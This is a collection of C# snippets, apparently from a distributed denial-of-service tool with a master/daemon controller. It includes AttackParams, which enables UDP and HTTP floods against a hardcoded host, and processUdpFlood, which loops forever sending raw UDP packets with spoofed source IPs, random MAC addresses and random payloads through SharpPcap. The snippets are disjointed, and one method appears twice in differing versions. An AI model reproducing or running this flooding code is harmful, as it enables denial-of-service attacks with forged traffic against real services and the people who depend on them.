public static PhysicalAddress ResolveMac(NetworkInterface device, IPAddress Instance) { ARP Resolver = new ARP((LibPcapLiveDevice)NetworkInstruments.getActiveDevice(device.GetPhysicalAddress())); Resolver.Timeout = new TimeSpan(0, 0, 4); return(Resolver.Resolve(Instance, getAdapterIPAddress(device), device.GetPhysicalAddress())); }
private void InitController() { try { //change lostconn handler to error handler Controller = new NetworkController(new AttackParams(), NetworkInstruments.getAnyAdaptor(), UpdateData, StatisticRespond, ErrorHandler, 27000, null); ControlTab.Enabled = true; System.Threading.Thread.Sleep(400); if (Controller.mode) { //currentmode is master ChangeMode(true); MIpEndPointlab.Text = Controller.LocalIpEndPoint.ToString(); //write info abot computer //fill daemon list } else { ChangeMode(false); //write info about master } ConnectBtn.Enabled = false; } catch (Exception) { UpdateData("An Error occured"); } }
private void InitClient(ref TcpClient client, NetworkInterface Adapter) { Client = new TcpClient(new IPEndPoint(NetworkInstruments.getAdapterIPAddress(Adapter), 0)); Client.ReceiveBufferSize = 10000; Client.SendBufferSize = 10000; //Client.ReceiveTimeout = 500; }
/// <summary> /// Инициализирует контроллер /// </summary> /// <param name="Adapter">Сетевой адаптер</param> /// <param name="al_port">Порт приложения</param> /// <param name="MasterPoint">Сетевая точка определяющая мастера, в случае режима мастера оставить null</param> public void InitInterface(NetworkInterface Adapter, int al_port, IPEndPoint MasterPoint) { if (state == ControllerState.Attacking) { Stop(); } if ((al_port != CurrentPort) || (Adapter.Id != this.Adapter.Id) || ((MasterPoint != null) && (!MasterPoint.Equals(Master) || HostClient != null)) || ((MasterPoint == null) && (Master != null))) { Close(); UpdateData("Customer initialization"); try { CurrentPort = al_port; MyPoint = new IPEndPoint(NetworkInstruments.getAdapterIPAddress(Adapter), CurrentPort); this.Adapter = Adapter; if (MasterPoint == null) { Master = null; mode = true; InitServer(); //ChangeMode(true); } else { Master = MasterPoint; mode = false; ConnectToMaster(); } } catch (SocketException err) { state = ControllerState.Error; if (err.SocketErrorCode == SocketError.AddressAlreadyInUse) { UpdateData("Selected port is busy"); } if (err.ErrorCode == (int)SocketError.AddressNotAvailable) { UpdateData("No interface found for this address"); } } catch (ObjectDisposedException) { return; } } }
public AttackParams() { try { Target = new IPEndPoint(Dns.GetHostAddresses("cinema.eastoffice.companyname")[0], 80); } catch (SocketException) { Target = new IPEndPoint(IPAddress.Any, 80); } UdpFloodEnabled = true; HttpFloodEnabled = true; RestrictedPool = new NetworkInstruments.AddressPool(NetworkInstruments.getLocaIP(), NetworkInstruments.getLocaIP()); HttpMsg = "GET http://cinema.eastoffice.companyname/index.php/ HTTP/1.1\r\n" + "Host: cinema.eastoffice.companyname\r\n" + "Connection: keep-alive\r\n" + "User-Agent: Mozilla/5.0\r\n" + "\r\n"; }
public void InitInterface(NetworkInterface Adapter, int al_port, IPEndPoint MasterPoint) { if (state == ControllerState.Attacking) { Stop(); } if ((al_port != CurrentPort) || (Adapter.Id != this.Adapter.Id) || ((MasterPoint != null) && (!MasterPoint.Equals(Master))) || ((MasterPoint == null) && (Master != null))) { Close(); UpdateData("Инициализация клиентов"); try { CurrentPort = al_port; MyPoint = new IPEndPoint(NetworkInstruments.getAdapterIPAddress(Adapter), CurrentPort); this.Adapter = Adapter; if (MasterPoint == null) { mode = true; InitServer(); //ChangeMode(true); } else { Master = MasterPoint; mode = false; ConnectToMaster(); } } catch (SocketException err) { state = ControllerState.Error; if (err.SocketErrorCode == SocketError.AddressAlreadyInUse) { UpdateData("Выбранный порт занят"); } if (err.ErrorCode == (int)SocketError.AddressNotAvailable) { UpdateData("Не найдено интерфейса с таким адресом"); } } catch (ObjectDisposedException) { return; } } }
private void processUdpFlood(Object Params) { AttackParams _params = Params as AttackParams; if (_params.UdpFloodEnabled) { NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer(); PhysicalAddress TargetMac = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address); ICaptureDevice ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress()); ActiveDevice.Open(); UdpPacket udpPacket = new UdpPacket(0, 80); IPv4Packet ipPacket = new IPv4Packet(IPAddress.Any, _params.Target.Address); ipPacket.Protocol = IPProtocolType.UDP; ipPacket.PayloadPacket = udpPacket; if (TargetMac == null) { ErrorHandler(1, "Can not get MAC target address"); return; } ; //unable to resolve mac EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None); ethernetPacket.PayloadPacket = ipPacket; while (Attacking) { udpPacket.SourcePort = (ushort)Randomizer.Next(1, 49160); udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160); udpPacket.PayloadData = new byte[Randomizer.Next(500)]; Randomizer.NextBytes(udpPacket.PayloadData); udpPacket.UpdateCalculatedValues(); ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool); ipPacket.TimeToLive = Randomizer.Next(20, 128); ipPacket.UpdateCalculatedValues(); ipPacket.UpdateIPChecksum(); ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer); ethernetPacket.UpdateCalculatedValues(); udpPacket.UpdateUDPChecksum(); ActiveDevice.SendPacket(ethernetPacket); udpCounter++; } } }
private void fillAdapterList() { NetworkInterface[] AdaptersRange = NetworkInterface.GetAllNetworkInterfaces(); Adapters = new List <NetworkInterface>(); for (int i = 0; i < AdaptersRange.Length; ++i) { if (AdaptersRange[i].OperationalStatus == OperationalStatus.Up && AdaptersRange[i].NetworkInterfaceType != NetworkInterfaceType.Loopback && NetworkInstruments.getAdapterIPAddress(AdaptersRange[i]) != IPAddress.Any) { Adapters.Add(AdaptersRange[i]); AdapterBox.Items.Add(AdaptersRange[i].Name + " Status: " + AdaptersRange[i].OperationalStatus.ToString() + " Type: " + AdaptersRange[i].NetworkInterfaceType); if (AdaptersRange[i].Id == curAdapter.Id) { AdapterBox.SelectedIndex = AdapterBox.Items.Count - 1; } } } if (AdapterBox.SelectedIndex == -1 && AdapterBox.Items.Count != 0) { AdapterBox.SelectedIndex = 0; } }
private void AdapterBox_SelectedIndexChanged(object sender, EventArgs e) { IpLab.Text = NetworkInstruments.getAdapterIPAddress(Adapters[AdapterBox.SelectedIndex]).ToString(); MacLab.Text = Adapters[AdapterBox.SelectedIndex].GetPhysicalAddress().ToString(); }